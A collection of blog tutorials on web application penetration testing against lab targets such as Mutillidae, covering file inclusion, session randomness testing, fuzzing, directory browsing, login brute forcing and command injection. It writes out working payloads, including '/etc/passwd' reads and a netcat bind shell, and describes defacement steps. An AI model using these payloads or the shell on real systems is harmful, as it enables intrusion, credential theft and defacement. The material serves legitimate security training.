Local PHP File Inclusion Vulnerability Example | Web Applications Hacking | How To | LFI PHP

Written by Pranshu Bajpai | Join me on Google+ | LinkedIn

The vulnerability lies in how web pages are invoked on a web server. If an absolute path or direct referencing is used then it is possible to invoke pages on the server that a hacker has no business seeing.

You can read up on the theory here.

How To Exploit Local PHP File Inclusion Vulnerability on a Web Server | Mutillidae

Attacked Server: 1. Mutillidae  2. Net-force
Vulnerable Page: /mutillidae/index.php?page=
Attack Type: Local PHP File Inclusion


A hacker notices that a GET Parameter 'page' is used to 'include' pages residing on a web server.

We know the web server is running on a Linux system. So we try to invoke the password file in Linux by specifying it's absolute path:

page=/etc/passwd

If the web server was running on Windows system we could test the same trying to invoke:

page=C:\\boot.ini

The contents of the file would be displayed on the screen if Local File Inclusion exists:

Notice the Password Hash for the user 'NetForce'. This can be cracked by johntheripper [JTR]

Such attacks can be avoided by not using absolute paths while referencing web pages on servers or using if-else structures to call specific pages only or encoding the attackers request (/etc/passwd)

How To Test Cookie / Session ID Randomness Using Burp Suite Sequencer

Written by Pranshu Bajpai | Join me on Google+ | LinkedIn

When you log on to a web server, a session is created which is identified by a session ID. The session identifier can be a cookie. This cookie holds the session ID so that one can log in once for each session (From there on, the session is then passed on to various web pages one browses on that server). Read up on Session Management.

Session, hence, depends on the session ID. In PHP, the 'PHPSESSID' holds the session ID when you visit a webpage on the server.

This needs to be random enough to preserve the security of the session. If an attacker is able to estimate what the session ID is going to be, he/she can bypass authentication.

Test for Randomness of the Session ID / PHPSESSID / Cookie | Mutillidae

Attacked Server: Mutillidae
Test Page: Main Login Page
Test Parameter: PHPSESSID
Test Type: Session Randomness

1. Load up the web page on the server and intercept the request in Burp Proxy. Now notice the server sets the PHPSESSID. Delete this and forward the request to server.

The server notices the mission PHPSESSID and sets a new ID.

Now delete this and right click 'Send to Sequencer'

2. In the sequencer make sure PHPSESSID is highlighted for testing and being the test > 'Start live capture'

3. The test will keep grabbing new tokens and then analyze this sample data for randomness.

For accurate results wait until sample size is at least 200 tokes

Then click 'Analyze Now'

Notice the Entropy is 121 bits which is 'excellent' (Entropy refers to the randomness)

So this test ensures the unpredictability of the Session ID

Fuzz Testing Web Applications With Burp Suite | Burp Intruder [Sniper] to Fuzz Parameters

Written by Pranshu Bajpai | Join me on Google+ | LinkedIn

IronGeek made a lot of good videos about testing web applications with Burp Suite. I tested these attacks out myself.

Attacked Server: Mutillidae
Test Page: Main Login Form
Test Parameter: Username
Test Type: Fuzzing

In simple words, fuzzing means sending "weird" data to the server and observing how it reacts to it. More formal explanation can be found here.

Fuzz Testing Login Form Parameters using Burp Suite | Mutillidae

1. Enter any username on the web page, press enter and intercept the request in Burp Proxy. Then send it to "Intruder"

2. Select the "sniper" attack type in Intruder and select the username parameter to be fuzzed [marked by $..$]

3. Now time to set the 'Payload', that is, what that "weird" data is going to be. For test purposes, I used a simple list where I inserted payload manually. You can use various fuzz lists available on the Internet.

4. Notice one of the fuzz payloads is '

5. Click Start Attack. And after it finishes notice the server response page. HTTP Codes are '200 OK'. And the length of the returned pages (server response) is of interest.

Almost all response page lengths are the same, except the one for the payload '

'Render' this page in Burp and you will see that the page is greater in length because it returns additional error lines (database error, SQL injection attacks possible)

So the fuzz test revealed possible SQL injection on the login form on parameter 'Username'

Directory Browsing Vulnerability | Directory Listing / Traversal Attack | How To | Demo [Screenshots] | Mutillidae

Written by Pranshu Bajpai | Join me on Google+ | LinkedIn

As a web application penetration tester, when you find directory browsing enabled on a web server, you include it in your report, but you know exploiting it is a long shot.

The main threat lies in the fact that the attacker can view all the files present on the web directory. This might include PHP files (or files in other web languages). If the attacker is dedicated enough, he will read these PHP codes to figure out a way to circumvent security.

Directory Browsing Vulnerability in Mutillidae

An attacker can review the code behind these PHP scripts to find potential weaknesses

Web Applications Authentication Brute Force | Practical Demo [Screenshots] | Brute Force Website Login | How To

Written by Pranshu Bajpai | Google+ Pranshu Bajpai | LinkedIn

This post is meant to elucidate  web application brute forcing by providing a practical demo.

Read up on Authentication Brute Force here.

OWASP testing guide is your friend in Web Application Hacking.

How To Brute Force Website Login | Web Application Hacking Example | Authentication Brute Force

We have a 'Test' website running on 172.19.17.120. I have created a Test account on it with username 'pranshu' and password 'p'. (As we are playing the part of a penetration tester, during the test we will assume we do not know the password)

It has a login form requiring a 'username' and 'password'. HTTP POST Request Parameters are used.

Set up Burpsuite Proxy to intercept traffic between your browser and the server page you will be trying to brute force [Read up on Burpsuite]

Then send these to Burpsuite 'Intruder' to be attacked

The attack we will use is 'Cluster Bomb'

The highlighted parameters in the image above are the ones which will be bruteforced.

In case you already know 'username', "un-highlight" it, meaning Brute Force Password only. Since I already know the username is 'pranshu', I will try to brute force the password and set username as 'pranshu'

Payload type is a 'simple list' of characters 'a,b,c,d....z'  [which we will use as possible passwords]

Execute the attack. It will set the username to 'pranshu' and go through the 'simple list', trying every possible alphabet as password. All will recieve HTTP code 200 (OK)

Except one where the payload was set to 'p'. It received HTTP code 302 (Redirect)

If you know HTTP codes you know that 302 (Redirect) means that the webpage is trying to send us to another page. As a penetration tester, I would guess that the re-direction is occurring because of successful login (redirect to 'Home' page or something)

To verfiy this, I 'render' the 'response' in Burp suite and sure enough I see I am logged in as user 'pranshu'.

In this case, I have used BurpSuite but you can use 'Brutus' or 'Hydra' for such online brute force password cracking.

Command Injection Attack Example [Screenshots] | Web Applications Hacking | Using Kali Linux

Written by Pranshu Bajpai | Google+ Pranshu Bajpai | LinkedIn

Read up on command injection here.

OWASP testing guide is your best friend while learning web applications hacking or penetration testing.

I tested the attack on two different vulnerable applications, one of which is 'Mutillidae'

Command Injection Attack Example

Ideally, you are supposed to 'lookup' DNS and resolve hostnames to IP addresses using this web application.

However, the code is vulnerable to 'command injection attack'.

As you know, in Bash we can execute two commands one after the other by typing:

#cmd1 && cmd2

Try this in the vulnerable application (the point is to get another command executed on the server)

www.facebook.com && ls /

In the vulnerable application first Facebook's IP address would be resolved on the server and then the second command would get executed, listing the contents of the 'root' directory.

Now that you know the command injection vulnerability exists, you can try different commands and construct an attack

For example:

Display the contents of 'passwd' file

www.facebook.com && cat /etc/passwd

OR invoke netcat to listen for commands on port 8085 of the victim machine:

www.facebook.com && nc -l -p 8085 -e '/bin/bash'

See what we did here?

I assume netcat utility would be present on the server, so I tell it to listen on port 8085 (and invoke bash)

Now from our Terminal we can use our netcat client to connect to that server

#nc 172.X.X.X 8085

We are connected. We can now begin executing commands on the compromised remote machine.

#whoami

Note that we are a normal user--'www-data'--and not root. Hence, we have limited Privileges at this point.

However, using privileges of 'www-data' it is possible for us to deface the website. Note that defacing a website is unacceptable even as part of a penetration test, so do not go through with it.

To deface the website

#vi /var/www/index.html

It is now possible to edit this file to make changes to deface to the website.

Note that you can terminate the first command simply by typing ';' and, hence, don't always need the first part, that is, 'www.facebook.com'. For example:

; cat /etc/passwd